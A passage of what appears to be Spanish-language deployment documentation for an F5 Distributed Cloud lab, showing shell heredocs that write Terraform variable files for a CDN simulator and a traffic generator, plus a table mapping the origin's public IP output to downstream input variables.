subscription_id = "your-subscription-id"
origin_server = "http://${origin_ip}"
origin_host = "${origin_ip}:80"
EOF
# Traffic Generator — pass the F5 XC load balancer FQDN (not the origin IP directly)
cd ../traffic-generator/terraform
cat > terraform.tfvars <<EOF
subscription_id = "your-subscription-id"
target_fqdn = "your-xc-load-balancer.example.com"
EOF
SalidaComponente posteriorVariable de entrada
public_ipSimulador CDNorigin_server (con prefijo http://)
public_ipSimulador CDNorigin_host (con sufijo :80, sin esquema)
public_ipF5 XC Origin PoolDirección del servidor de origen

Continúe con Applications para guías de uso o Verify para pruebas de humo.